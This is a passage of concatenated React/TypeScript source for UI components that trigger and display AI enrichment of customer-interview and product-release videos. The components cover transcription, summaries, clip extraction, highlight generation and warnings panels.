bg-ods-card border border-ods-border',\n        variant === 'default' ? 'p-6 space-y-4' : 'p-4 space-y-3',\n        className\n      )}\n    >\n      {/* Row 1: Icon + Title + Description */}\n      <div className=\"flex items-center gap-3\">\n        {icon || <SparklesIcon size={20} className=\"text-ods-text-secondary\" />}\n        <div className=\"flex-1\">\n          <h3 className=\"text-h5 text-ods-text-primary\">\n            {title}\n          </h3>\n          {description && (\n            <p className=\"text-ods-text-secondary text-h6 mt-1\">\n              {description}\n            </p>\n          )}\n        </div>\n      </div>\n\n      {/* Editor-provided settings (opt-in) — e.g. clip aspect ratio, highlight duration */}\n      {configSlot}\n\n      {/* Editor-provided custom instructions (opt-in) */}\n      {showCustomInstructions && (\n        <div className=\"space-y-1.5\">\n          <div className=\"flex items-center justify-between\">\n            <label\n              htmlFor=\"ai-enrich-custom-instructions\"\n              className=\"text-h6 text-ods-text-primary\"\n            >\n              {customInstructionsLabel}\n            </label>\n            {customInstructionsMaxLength !== undefined && (\n              <span className=\"text-h6 text-ods-text-secondary\">\n                {(customInstructions ?? '').length}/{customInstructionsMaxLength}\n              </span>\n            )}\n          </div>\n          <Textarea\n            id=\"ai-enrich-custom-instructions\"\n            value={customInstructions ?? ''}\n            onChange={(e) => onCustomInstructionsChange?.(e.target.value)}\n            placeholder={customInstructionsPlaceholder}\n            disabled={loading}\n            maxLength={customInstructionsMaxLength}\n            rows={3}\n            className=\"resize-y\"\n          />\n          {customInstructionsHelperText && (\n            <p className=\"text-h6 text-ods-text-secondary\">\n              {customInstructionsHelperText}\n            </p>\n          )}\n        </div>\n      )}\n\n      {/* Row 2: Buttons */}\n      <div className=\"flex flex-col gap-3\">\n        <AIEnrichButton\n          onClick={() => {\n            console.log('[AIEnrichSection] 🔘 Button clicked');\n            console.log('[AIEnrichSection] Loading:', loading);\n            console.log('[AIEnrichSection] Disabled:', shouldDisable);\n            console.log('[AIEnrichSection] CanEnrich:', canEnrich);\n            onEnrich();\n          }}\n          loading={loading}\n          disabled={shouldDisable}\n          label={buttonLabel}\n          loadingLabel={loadingLabel}\n          size=\"md\"\n          className=\"!w-full\"\n        />\n        {showCancel && onCancel && loading && (\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            size=\"small-legacy\"\n            onClick={onCancel}\n            disabled={isCancelling}\n            leftIcon={isCancelling ? <Loader2 className=\"h-4 w-4 animate-spin\" /> : <X className=\"h-4 w-4\" />}\n            className=\"!w-full\"\n          >\n            {isCancelling ? 'Cancelling...' : 'Cancel Processing'}\n          </Button>\n        )}\n      </div>\n\n      {/* Disabled message with unfilled fields */}\n      {shouldDisable && !loading && (\n        <div className=\"space-y-2\">\n          <p className=\"text-ods-text-secondary text-h6\">\n            {disabledMessage}\n          </p>\n          {unfilledFields.length > 0 && (\n            <div className=\"flex flex-wrap gap-2\">\n              {unfilledFields.map(field => (\n                <span\n                  key={field.key}\n                  className=\"inline-flex items-center gap-1 px-2 py-0.5 text-h6 rounded-full bg-ods-flamingo-cyan/10 text-ods-flamingo-cyan/70\"\n                >\n                  <span className=\"w-1.5 h-1.5 rounded-full bg-ods-flamingo-cyan/50\" />\n                  {field.label}\n                </span>\n              ))}\n            </div>\n          )}\n        </div>\n      )}\n\n      {/* Loading state with status message */}\n      {loading && statusMessage && (\n        <div className=\"flex items-center gap-3 p-3 rounded-lg bg-ods-bg-surface\">\n          <Loader2 className=\"h-5 w-5 text-ods-accent animate-spin\" />\n          <span className=\"text-h6 text-ods-text-primary\">\n            {statusMessage}\n          </span>\n        </div>\n      )}\n\n      {/* Results section */}\n      {hasResults && (\n        <div className=\"space-y-4\">\n          {/* Status indicator - simple and clean */}\n          <div className={cn(\n            'flex items-center gap-3 p-3 rounded-lg',\n            status === 'success' ? 'bg-ods-success/10' : 'bg-ods-error/10'\n          )}>\n            {status === 'success' ? (\n              <CheckCircle className=\"h-5 w-5 text-ods-success\" />\n            ) : (\n              <AlertCircle className=\"h-5 w-5 text-ods-error\" />\n            )}\n            <span className={cn(\n              'text-h6',\n              status === 'success' ? 'text-ods-success' : 'text-ods-error'\n            )}>\n              {statusMessage || (status === 'success' ? 'Enrichment complete' : 'Enrichment failed')}\n            </span>\n            {overallConfidence !== undefined && status === 'success' && (\n              <Badge variant=\"success\" className=\"ml-auto\">\n                {overallConfidence}% confidence\n              </Badge>\n            )}\n          </div>\n\n          {/* Warnings */}\n          {warnings && warnings.length > 0 && (\n            <AIWarningsSection warnings={warnings} />\n          )}\n\n          {/* Custom children content (like created tags info) */}\n          {children}\n\n          {/* Clear button */}\n          {showClearButton && onClear && (\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"small-legacy\"\n              onClick={onClear}\n            >\n              Clear Results\n            </Button>\n          )}\n        </div>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { Button } from '../../ui/button'\nimport { SparklesIcon } from '../../icons/sparkles-icon'\nimport { cn } from '../../../utils/cn'\n\nexport interface AIEnrichButtonProps {\n  onClick: () => void\n  disabled?: boolean\n  loading?: boolean\n  label?: string\n  loadingLabel?: string\n  size?: 'sm' | 'md' | 'lg'\n  variant?: 'primary' | 'secondary' | 'outline'\n  className?: string\n}\n\nconst sizeMap = {\n  sm: 'small-legacy' as const,\n  md: 'default' as const,\n  lg: 'default' as const,\n}\n\nconst variantMap = {\n  primary: 'accent' as const,\n  secondary: 'outline' as const,\n  outline: 'outline' as const,\n}\n\nexport const AIEnrichButton: React.FC<AIEnrichButtonProps> = ({\n  onClick,\n  disabled = false,\n  loading = false,\n  label = 'AI Enrich',\n  loadingLabel = 'Enriching...',\n  size = 'md',\n  variant = 'outline',\n  className,\n}) => {\n  return (\n    <Button\n      type=\"button\"\n      onClick={onClick}\n      disabled={disabled || loading}\n      loading={loading}\n      size={sizeMap[size]}\n      variant={variantMap[variant]}\n      leftIcon={!loading && <SparklesIcon size={18} color=\"currentColor\" />}\n      className={cn('gap-2', className)}\n    >\n      {loading ? loadingLabel : label}\n    </Button>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\n\nexport interface AIWarningsSectionProps {\n  warnings: string[]\n  title?: string\n  className?: string\n}\n\nexport const AIWarningsSection: React.FC<AIWarningsSectionProps> = ({\n  warnings,\n  title = 'AI Warnings',\n  className,\n}) => {\n  if (!warnings || warnings.length === 0) {\n    return null\n  }\n\n  return (\n    <div\n      className={cn(\n        'rounded-lg border border-ods-warning/30 bg-ods-warning/10 p-4',\n        className\n      )}\n    >\n      <div className=\"flex items-start gap-2\">\n        <svg\n          className=\"w-5 h-5 text-ods-warning flex-shrink-0 mt-0.5\"\n          fill=\"none\"\n          viewBox=\"0 0 24 24\"\n          stroke=\"currentColor\"\n        >\n          <path\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth={2}\n            d=\"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z\"\n          />\n        </svg>\n        <div className=\"flex-1\">\n          <h4 className=\"text-h6 font-semibold text-ods-warning mb-2\">\n            {title}\n          </h4>\n          <ul className=\"space-y-1\">\n            {warnings.map((warning, index) => (\n              <li\n                key={index}\n                className=\"text-h6 text-ods-warning/80 list-disc list-inside\"\n              >\n                {warning}\n              </li>\n            ))}\n          </ul>\n        </div>\n      </div>\n    </div>\n  )\n}\n","\"use client\";\n\nimport React from 'react';\nimport { Field } from '../ui/field';\nimport { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../ui/select';\n\nexport interface HighlightConfigSectionProps {\n  /** Current target duration in seconds */\n  targetDurationSeconds: number;\n  /** Callback when target duration changes */\n  onTargetDurationChange: (seconds: number) => void;\n  /** Whether the section is disabled */\n  disabled?: boolean;\n  /** Additional class name */\n  className?: string;\n}\n\n/**\n * HighlightConfigSection - Unified component for highlight video configuration\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities,\n * including duration selection in a styled horizontal layout. Highlight captions\n * are generated automatically as a selectable text track (same pattern as the\n * main video) — there is no subtitle-burning option anymore.\n */\nexport function HighlightConfigSection({\n  targetDurationSeconds,\n  onTargetDurationChange,\n  disabled = false,\n  className = '',\n}: HighlightConfigSectionProps) {\n  return (\n    <div className={`space-y-3 p-4 bg-ods-card rounded-lg border border-ods-border ${className}`}>\n      <div className=\"flex items-center gap-4\">\n        <div className=\"flex-1\">\n          {/* Field, not a raw Label + margin hack — same label system as every\n              other form field so adjacent columns stay on one baseline. */}\n          <Field label=\"Target Duration\">\n            {(f) => (\n          <Select\n            value={targetDurationSeconds.toString()}\n            onValueChange={(value) => onTargetDurationChange(parseInt(value))}\n            disabled={disabled}\n          >\n            <SelectTrigger id={f.id} className=\"bg-ods-bg\">\n              <SelectValue />\n            </SelectTrigger>\n            <SelectContent className=\"bg-ods-card\">\n              <SelectItem value=\"60\">1 minute</SelectItem>\n              <SelectItem value=\"120\">2 minutes</SelectItem>\n              <SelectItem value=\"180\">3 minutes (Recommended)</SelectItem>\n              <SelectItem value=\"240\">4 minutes</SelectItem>\n              <SelectItem value=\"300\">5 minutes</SelectItem>\n            </SelectContent>\n          </Select>\n            )}\n          </Field>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport default HighlightConfigSection;\n","\"use client\";\n\nimport React from 'react';\nimport { Sparkles } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { Label } from '../ui/label';\nimport { Textarea } from '../ui/textarea';\nimport { Badge } from '../ui/badge';\nimport { ConfidenceBadge } from './ai-enrich/ConfidenceBadge';\n\nexport interface EntitySummaryEditorProps {\n  /** Summary text value (defaults to empty string if undefined) */\n  summary?: string;\n  /** Callback when summary changes */\n  onSummaryChange: (value: string) => void;\n  /** Whether content was AI generated */\n  isAIGenerated?: boolean;\n  /** Confidence score for summary (0-100) */\n  summaryConfidence?: number | null;\n  /** Custom label for summary field */\n  label?: string;\n  /** Custom helper text */\n  helperText?: string;\n  /** Custom placeholder */\n  placeholder?: string;\n  /** Minimum height for textarea */\n  minHeight?: number;\n  /** Whether the field is disabled */\n  disabled?: boolean;\n  /** Additional class name for the container */\n  className?: string;\n}\n\n/**\n * EntitySummaryEditor - Unified component for editing entity summaries with AI badges\n *\n * This component provides a consistent UI for entity summaries (e.g., Release Summary, Interview Summary)\n * separate from video summaries. Shows AI generation badges and confidence scores when applicable.\n */\nexport function EntitySummaryEditor({\n  summary = '',\n  onSummaryChange,\n  isAIGenerated = false,\n  summaryConfidence,\n  label = 'Summary (Markdown supported)',\n  helperText = 'Entity summary. Displayed on cards and detail page.',\n  placeholder = 'Brief summary...',\n  minHeight = 200,\n  disabled = false,\n  className = '',\n}: EntitySummaryEditorProps) {\n  return (\n    <div className={className}>\n      <div className=\"mb-2\">\n        <div className=\"flex items-center gap-2\">\n          <Label htmlFor=\"entity-summary\">{label}</Label>\n          {isAIGenerated && (\n            <AIGeneratedBadge />\n          )}\n          {summaryConfidence !== undefined && summaryConfidence !== null && (\n            <ConfidenceBadge\n              confidence={summaryConfidence}\n              showLabel={true}\n              showPercentage={true}\n              size=\"sm\"\n            />\n          )}\n        </div>\n        <p className=\"text-h6 text-ods-text-secondary mt-1\">{helperText}</p>\n      </div>\n      <div\n        className=\"rounded-lg border border-ods-border bg-ods-card overflow-hidden\"\n        style={{ minHeight: `${minHeight}px` }}\n      >\n        <Textarea\n          id=\"entity-summary\"\n          value={summary}\n          onChange={(e) => onSummaryChange(e.target.value)}\n          placeholder={placeholder}\n          disabled={disabled}\n          className=\"h-full w-full resize-none border-0 bg-transparent text-ods-text-primary placeholder:text-ods-text-secondary/50 focus:ring-0 focus:outline-none p-4 text-code\"\n          style={{ minHeight: `${minHeight}px`, lineHeight: '1.6' }}\n        />\n      </div>\n    </div>\n  );\n}\n\nexport default EntitySummaryEditor;\n","\"use client\";\n\nimport React from 'react';\nimport { Sparkles } from 'lucide-react';\nimport { AIEnrichSection } from './ai-enrich';\nimport type { AIRequiredField } from './ai-enrich';\n\nexport interface TranscribeSummarizeSectionProps {\n  /** Handler to trigger transcription processing */\n  onTranscribe: () => void;\n  /** Whether transcription is currently processing */\n  isProcessing: boolean;\n  /** Whether the generate button can be clicked */\n  canEnrich: boolean;\n  /** Required fields to display */\n  requiredFields: AIRequiredField[];\n  /** Current status of the operation */\n  status?: 'loading' | 'success' | 'error' | undefined;\n  /** Status message to display */\n  statusMessage?: string;\n  /** Message shown when button is disabled */\n  disabledMessage?: string;\n  /** Whether cancel is available */\n  showCancel?: boolean;\n  /** Handler to cancel processing */\n  onCancel?: () => void;\n  /** Whether cancellation is in progress */\n  isCancelling?: boolean;\n  /** Whether result already exists (affects button label) */\n  hasResult?: boolean;\n  /** Custom title */\n  title?: string;\n  /** Custom description */\n  description?: string;\n  /** Custom button label */\n  buttonLabel?: string;\n  /** Custom loading label */\n  loadingLabel?: string;\n}\n\n/**\n * TranscribeSummarizeSection - Unified AIEnrichSection wrapper for video transcription\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities\n * for the \"Transcribe & Summarize\" video processing step.\n */\nexport function TranscribeSummarizeSection({\n  onTranscribe,\n  isProcessing,\n  canEnrich,\n  requiredFields,\n  status,\n  statusMessage,\n  disabledMessage = \"Upload a video first\",\n  showCancel = true,\n  onCancel,\n  isCancelling = false,\n  hasResult = false,\n  title = \"Transcribe & Summarize\",\n  description = \"Generate transcript with speaker diarization and AI summary\",\n  buttonLabel,\n  loadingLabel = \"Processing...\",\n}: TranscribeSummarizeSectionProps) {\n  const defaultButtonLabel = hasResult ? \"Regenerate\" : \"Generate\";\n\n  return (\n    <AIEnrichSection\n      title={title}\n      description={description}\n      icon={<Sparkles className=\"h-5 w-5\" />}\n      buttonLabel={buttonLabel || defaultButtonLabel}\n      loadingLabel={loadingLabel}\n      onEnrich={onTranscribe}\n      loading={isProcessing}\n      canEnrich={canEnrich}\n      requiredFields={requiredFields}\n      status={status}\n      statusMessage={statusMessage}\n      disabledMessage={disabledMessage}\n      showCancel={showCancel}\n      onCancel={onCancel}\n      isCancelling={isCancelling}\n    />\n  );\n}\n\nexport default TranscribeSummarizeSection;\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { SparklesIcon } from '../../icons/sparkles-icon'\nimport { getConfidenceBorderClass, getConfidenceTextClass, getConfidenceLabel } from '../../../utils/confidence-helpers'\n\nexport type AIStatus = 'idle' | 'loading' | 'success' | 'error'\n\nexport interface AIStatusIndicatorProps {\n  status: AIStatus\n  confidence?: number\n  message?: string\n  showConfidence?: boolean\n  className?: string\n}\n\nconst statusConfig = {\n  idle: {\n    color: 'text-ods-text-secondary',\n    bgColor: 'bg-transparent',\n    label: 'Ready',\n  },\n  loading: {\n    color: 'text-ods-flamingo-cyan',\n    bgColor: 'bg-ods-flamingo-cyan/10',\n    label: 'Processing...',\n  },\n  success: {\n    color: 'text-ods-success',\n    bgColor: 'bg-ods-success/10',\n    label: 'Enriched',\n  },\n  error: {\n    color: 'text-ods-error',\n    bgColor: 'bg-ods-error/10',\n    label: 'Failed',\n  },\n}\n\nexport const AIStatusIndicator: React.FC<AIStatusIndicatorProps> = ({\n  status,\n  confidence,\n  message,\n  showConfidence = true,\n  className,\n}) => {\n  const config = statusConfig[status]\n\n  const displayText = message || config.label\n  const confidenceLabel = showConfidence && confidence !== undefined\n    ? `${getConfidenceLabel(confidence)} (${confidence}%)`\n    : null\n\n  return (\n    <div\n      className={cn(\n        'inline-flex items-center gap-2 px-3 py-1.5 rounded-lg',\n        config.bgColor,\n        className\n      )}\n    >\n      <SparklesIcon\n        size={16}\n        className={cn(\n          status === 'loading' && 'animate-pulse',\n          confidence !== undefined && status === 'success'\n            ? getConfidenceTextClass(confidence)\n            : config.color\n        )}\n      />\n      <span\n        className={cn(\n          'text-h6',\n          confidence !== undefined && status === 'success'\n            ? getConfidenceTextClass(confidence)\n            : config.color\n        )}\n      >\n        {displayText}\n      </span>\n      {confidenceLabel && status === 'success' && (\n        <span\n          className={cn(\n            'text-h6 px-2 py-0.5 rounded-full border',\n            getConfidenceBorderClass(confidence),\n            getConfidenceTextClass(confidence)\n          )}\n        >\n          {confidenceLabel}\n        </span>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { SparklesIcon } from '../../icons/sparkles-icon'\nimport { cn } from '../../../utils/cn'\n\nexport interface AIRequiredBadgeProps {\n  className?: string\n  /** Show a smaller inline variant */\n  size?: 'sm' | 'md'\n}\n\n/**\n * Badge component to indicate a field is required for AI enrichment.\n * Uses ODS cyan color with sparkles icon.\n */\nexport const AIRequiredBadge: React.FC<AIRequiredBadgeProps> = ({\n  className,\n  size = 'sm'\n}) => {\n  return (\n    <span\n      className={cn(\n        'inline-flex items-center gap-1 text-h6 rounded-full',\n        'bg-ods-flamingo-cyan/10 text-ods-flamingo-cyan',\n        size === 'sm' && 'ml-2 px-2 py-0.5',\n        size === 'md' && 'ml-2 px-2.5 py-1',\n        className\n      )}\n    >\n      <SparklesIcon size={size === 'sm' ? 12 : 14} color=\"var(--ods-flamingo-cyan-base)\" />\n      <span className=\"font-body\">AI-required</span>\n    </span>\n  )\n}\n","\"use client\";\n\nimport React from 'react';\nimport { Sparkles } from 'lucide-react';\nimport { AIEnrichSection } from './ai-enrich';\nimport type { AIRequiredField } from './ai-enrich';\n\nexport interface VideoClipsSectionProps {\n  /** Handler to trigger video clips extraction */\n  onExtractClips: () => void;\n  /** Whether extraction is currently processing */\n  isProcessing: boolean;\n  /** Whether the generate button can be clicked */\n  canEnrich: boolean;\n  /** Required fields to display */\n  requiredFields: AIRequiredField[];\n  /** Current status of the operation */\n  status?: 'loading' | 'success' | 'error' | undefined;\n  /** Status message to display */\n  statusMessage?: string;\n  /** Message shown when button is disabled */\n  disabledMessage?: string;\n  /** Whether cancel is available */\n  showCancel?: boolean;\n  /** Handler to cancel processing */\n  onCancel?: () => void;\n  /** Whether cancellation is in progress */\n  isCancelling?: boolean;\n  /** Whether result already exists (affects button label) */\n  hasResult?: boolean;\n  /** Custom title */\n  title?: string;\n  /** Custom description */\n  description?: string;\n  /** Custom button label */\n  buttonLabel?: string;\n  /** Custom loading label */\n  loadingLabel?: string;\n}\n\n/**\n * VideoClipsSection - Unified AIEnrichSection wrapper for video clips extraction\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities\n * for the \"Video Clips\" extraction step. Use with VideoBitesEditor for the full experience.\n */\nexport function VideoClipsSection({\n  onExtractClips,\n  isProcessing,\n  canEnrich,\n  requiredFields,\n  status,\n  statusMessage,\n  disabledMessage = \"Upload a video first\",\n  showCancel = true,\n  onCancel,\n  isCancelling = false,\n  hasResult = false,\n  title = \"Video Clips\",\n  description = \"Extract marketing-ready video clips from the video\",\n  buttonLabel,\n  loadingLabel = \"Extracting clips...\",\n}: VideoClipsSectionProps) {\n  const defaultButtonLabel = hasResult ? \"Regenerate Clips\" : \"Generate Clips\";\n\n  return (\n    <AIEnrichSection\n      title={title}\n      description={description}\n      icon={<Sparkles className=\"h-5 w-5\" />}\n      buttonLabel={buttonLabel || defaultButtonLabel}\n      loadingLabel={loadingLabel}\n      onEnrich={onExtractClips}\n      loading={isProcessing}\n      canEnrich={canEnrich}\n      requiredFields={requiredFields}\n      status={status}\n      statusMessage={statusMessage}\n      disabledMessage={disabledMessage}\n      showCancel={showCancel}\n      onCancel={onCancel}\n      isCancelling={isCancelling}\n    />\n  );\n}\n\nexport default VideoClipsSection;\n","\"use client\";\n\nimport React from 'react';\nimport { Sparkles } from 'lucide-react';\nimport { AIEnrichSection } from './ai-enrich';\nimport type { AIRequiredField } from './ai-enrich';\n\nexport interface HighlightGenerationSectionProps {\n  /** Handler to trigger highlight video generation */\n  onGenerateHighlight: () => void;\n  /** Whether generation is currently processing */\n  isProcessing: boolean;\n  /** Whether the generate button can be clicked */\n  canEnrich: boolean;\n  /** Required fields to display */\n  requiredFields: AIRequiredField[];\n  /** Current status of the operation */\n  status?: 'loading' | 'success' | 'error' | undefined;\n  /** Status message to display */\n  statusMessage?: string;\n  /** Message shown when button is disabled */\n  disabledMessage?: string;\n  /** Whether cancel is available */\n  showCancel?: boolean;\n  /** Handler to cancel processing */\n  onCancel?: () => void;\n  /** Whether cancellation is in progress */\n  isCancelling?: boolean;\n  /** Whether result already exists (affects button label) */\n  hasResult?: boolean;\n  /** Target highlight duration in seconds (for description) */\n  targetDurationSeconds?: number;\n  /** Custom title */\n  title?: string;\n  /** Custom description */\n  description?: string;\n  /** Custom button label */\n  buttonLabel?: string;\n  /** Custom loading label */\n  loadingLabel?: string;\n}\n\n/**\n * HighlightGenerationSection - Unified AIEnrichSection wrapper for highlight video generation\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities\n * for the \"Highlight Video\" generation step. Use with HighlightConfigSection for the full experience.\n */\nexport function HighlightGenerationSection({\n  onGenerateHighlight,\n  isProcessing,\n  canEnrich,\n  requiredFields,\n  status,\n  statusMessage,\n  disabledMessage = \"Upload a video and run transcription first\",\n  showCancel = true,\n  onCancel,\n  isCancelling = false,\n  hasResult = false,\n  targetDurationSeconds = 180,\n  title = \"Highlight Video\",\n  description,\n  buttonLabel,\n  loadingLabel = \"Generating highlight...\",\n}: HighlightGenerationSectionProps) {\n  const defaultButtonLabel = hasResult ? \"Regenerate Highlight\" : \"Generate Highlight\";\n  const defaultDescription = `Generate a ${Math.floor(targetDurationSeconds / 60)}-minute summary video using Claude AI + Shotstack`;\n\n  return (\n    <AIEnrichSection\n      title={title}\n      description={description || defaultDescription}\n      icon={<Sparkles className=\"h-5 w-5\" />}\n      buttonLabel={buttonLabel || defaultButtonLabel}\n      loadingLabel={loadingLabel}\n      onEnrich={onGenerateHighlight}\n      loading={isProcessing}\n      canEnrich={canEnrich}\n      requiredFields={requiredFields}\n      status={status}\n      statusMessage={statusMessage}\n      disabledMessage={disabledMessage}\n      showCancel={showCancel}\n      onCancel={onCancel}\n      isCancelling={isCancelling}\n    />\n  );\n}\n\nexport default HighlightGenerationSection;\n","\"use client\";\n\nimport React, { ReactNode } from 'react';\nimport { Upload, Sparkles } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { Label } from '../ui/label';\nimport { Badge } from '../ui/badge';\nimport { Button } from '../ui/button';\n\nexport interface HighlightVideoPreviewProps {\n  /** Highlight video URL */\n  highlightVideoUrl?: string | null;\n  /** Video thumbnail URL */\n  highlightVideoThumbnail?: string | null;\n  /** Video duration in milliseconds */\n  highlightVideoDurationMs?: number | null;\n  /** Whether video was AI generated */\n  highlightVideoSource?: 'manual' | 'ai_generated' | null;\n  /** Handler to upload a new highlight video - receives File, should return uploaded URL */\n  onUpload: (file: File) => Promise<string>;\n  /** Handler to delete the highlight video */\n  onDelete: () => Promise<void>;\n  /** Whether upload is in progress */\n  isUploading?: boolean;\n  /** Custom label */\n  label?: string;\n  /** Custom empty state message */\n  emptyMessage?: string;\n  /** Upload progress component (optional) */\n  uploadProgressComponent?: ReactNode;\n  /** Video preview component - receives video data, should render the preview */\n  renderVideoPreview: (props: {\n    videoUrl: string;\n    title: string;\n    thumbnailUrl?: string;\n    onDelete: () => Promise<void>;\n  }) => ReactNode;\n}\n\n/**\n * HighlightVideoPreview - Unified component for highlight video preview and manual upload\n *\n * This component provides a consistent UI for both CustomerInterview and ProductRelease entities\n * for displaying and manually uploading highlight videos.\n */\nexport function HighlightVideoPreview({\n  highlightVideoUrl,\n  highlightVideoThumbnail,\n  highlightVideoDurationMs,\n  highlightVideoSource,\n  onUpload,\n  onDelete,\n  isUploading = false,\n  label = \"Highlight Video\",\n  emptyMessage = \"No highlight video yet. Use AI generation above or upload manually.\",\n  uploadProgressComponent,\n  renderVideoPreview,\n}: HighlightVideoPreviewProps) {\n  const handleUploadClick = () => {\n    const input = document.createElement('input');\n    input.type = 'file';\n    input.accept = 'video/*';\n    input.onchange = async (e: Event) => {\n      const target = e.target as HTMLInputElement;\n      const file = target.files?.[0];\n      if (!file) return;\n      await onUpload(file);\n    };\n    input.click();\n  };\n\n  const formatDuration = (ms: number) => {\n    const minutes = Math.floor(ms / 60000);\n    const seconds = Math.floor((ms % 60000) / 1000);\n    return `${minutes}:${String(seconds).padStart(2, '0')}`;\n  };\n\n  return (\n    <div className=\"space-y-2\">\n      <div className=\"flex items-center justify-between mb-2\">\n        <div className=\"flex items-center gap-2\">\n          <Label>{label}</Label>\n          {highlightVideoSource === 'ai_generated' && (\n            <AIGeneratedBadge />\n          )}\n          {highlightVideoDurationMs && (\n            <Badge variant=\"outline\" className=\"text-h6\">\n              {formatDuration(highlightVideoDurationMs)}\n            </Badge>\n          )}\n        </div>\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          size=\"small-legacy\"\n          leftIcon={<Upload className=\"h-4 w-4\" />}\n          onClick={handleUploadClick}\n          disabled={isUploading}\n        >\n          {isUploading ? 'Uploading...' : 'Upload Highlight'}\n        </Button>\n      </div>\n\n      {uploadProgressComponent}\n\n      {highlightVideoUrl ? (\n        renderVideoPreview({\n          videoUrl: highlightVideoUrl,\n          title: 'Highlight Video',\n          thumbnailUrl: highlightVideoThumbnail || undefined,\n          onDelete,\n        })\n      ) : (\n        <p className=\"text-h6 text-ods-text-secondary italic\">\n          {emptyMessage}\n        </p>\n      )}\n    </div>\n  );\n}\n\nexport default HighlightVideoPreview;\n","\"use client\";\n\nimport React from 'react';\nimport { Sparkles } from 'lucide-react';\nimport { AIEnrichSection } from './ai-enrich';\nimport { TranscriptSummaryEditor } from './transcript-summary-editor';\nimport type { AIRequiredField } from './ai-enrich';\n\nexport interface TranscribeAndSummarizeCombinedSectionProps {\n  // ===== AIEnrichSection Props =====\n  /** Handler to trigger transcription processing */\n  onTranscribe: () => void;\n  /** Whether transcription is currently processing */\n  isProcessing: boolean;\n  /** Whether the generate button can be clicked */\n  canEnrich: boolean;\n  /** Required fields to display */\n  requiredFields: AIRequiredField[];\n  /** Current status of the operation */\n  status?: 'loading' | 'success' | 'error' | undefined;\n  /** Status message to display */\n  statusMessage?: string;\n  /** Message shown when button is disabled */\n  disabledMessage?: string;\n  /** Whether cancel is available */\n  showCancel?: boolean;\n  /** Handler to cancel processing */\n  onCancel?: () => void;\n  /** Whether cancellation is in progress */\n  isCancelling?: boolean;\n  /** Whether result already exists (affects button label) */\n  hasResult?: boolean;\n  /** Custom button label */\n  buttonLabel?: string;\n  /** Custom title */\n  title?: string;\n  /** Custom description */\n  description?: string;\n  /** Custom loading label */\n  loadingLabel?: string;\n\n  // ===== TranscriptSummaryEditor Props =====\n  /** Video summary text */\n  videoSummary?: string;\n  /** Handler for video summary changes */\n  onVideoSummaryChange: (value: string) => void;\n  /** Transcript text */\n  transcript?: string;\n  /** Handler for transcript changes */\n  onTranscriptChange: (value: string) => void;\n  /** Whether content was AI generated */\n  isAIGenerated?: boolean;\n  /** Confidence score for video summary */\n  videoSummaryConfidence?: number | null;\n  /** Confidence score for transcript */\n  transcriptConfidence?: number | null;\n  /** Custom label for video summary field */\n  videoSummaryLabel?: string;\n  /** Custom helper text for video summary */\n  videoSummaryHelperText?: string;\n  /** Custom placeholder for video summary */\n  videoSummaryPlaceholder?: string;\n  /** Custom label for transcript field */\n  transcriptLabel?: string;\n  /** Custom helper text for transcript */\n  transcriptHelperText?: string;\n  /** Custom placeholder for transcript */\n  transcriptPlaceholder?: string;\n  /** Minimum height for transcript textarea */\n  transcriptMinHeight?: number;\n  /** SRT subtitle content */\n  subtitles?: string;\n  /** Callback when subtitles change */\n  onSubtitlesChange?: (value: string) => void;\n  /** Whether fields are disabled */\n  disabled?: boolean;\n  /** Additional class name */\n  className?: string;\n  /** Whether SRT subtitles were generated alongside transcription */\n  hasSubtitles?: boolean;\n}\n\n/**\n * TranscribeAndSummarizeCombinedSection - Unified component combining AI Enrich button + Transcript/Summary editor\n *\n * This component provides a complete UI for video transcription with:\n * 1. AIEnrichSection for triggering transcription and showing status\n * 2. TranscriptSummaryEditor for displaying/editing the video summary and transcript\n *\n * Used by both CustomerInterview and ProductRelease modals.\n */\nexport function TranscribeAndSummarizeCombinedSection({\n  // AIEnrichSection props\n  onTranscribe,\n  isProcessing,\n  canEnrich,\n  requiredFields,\n  status,\n  statusMessage,\n  disabledMessage = \"Upload a video first\",\n  showCancel = true,\n  onCancel,\n  isCancelling = false,\n  hasResult = false,\n  buttonLabel,\n  title = \"Transcribe & Summarize\",\n  description = \"Generate transcript with speaker diarization and AI summary\",\n  loadingLabel = \"Processing...\",\n  // TranscriptSummaryEditor props\n  videoSummary = '',\n  onVideoSummaryChange,\n  transcript = '',\n  onTranscriptChange,\n  isAIGenerated = false,\n  videoSummaryConfidence,\n  transcriptConfidence,\n  videoSummaryLabel = \"Video Summary (Markdown supported)\",\n  videoSummaryHelperText = \"AI-generated summary from video content.\",\n  videoSummaryPlaceholder = \"Summary of the video content...\",\n  transcriptLabel = \"Video Transcript\",\n  transcriptHelperText = \"Full video transcript with speaker diarization and timestamps\",\n  transcriptPlaceholder = \"**[00:00] Speaker Name:** Text here...\",\n  transcriptMinHeight,\n  subtitles,\n  onSubtitlesChange,\n  disabled = false,\n  className = '',\n  hasSubtitles = false,\n}: TranscribeAndSummarizeCombinedSectionProps) {\n  const defaultButtonLabel = hasResult ? \"Regenerate\" : \"Generate\";\n\n  return (\n    <div className={`space-y-4 ${className}`}>\n      {/* 1. AI Enrich Button Section */}\n      <AIEnrichSection\n        title={title}\n        description={description}\n        icon={<Sparkles className=\"h-5 w-5\" />}\n        buttonLabel={buttonLabel || defaultButtonLabel}\n        loadingLabel={loadingLabel}\n        onEnrich={onTranscribe}\n        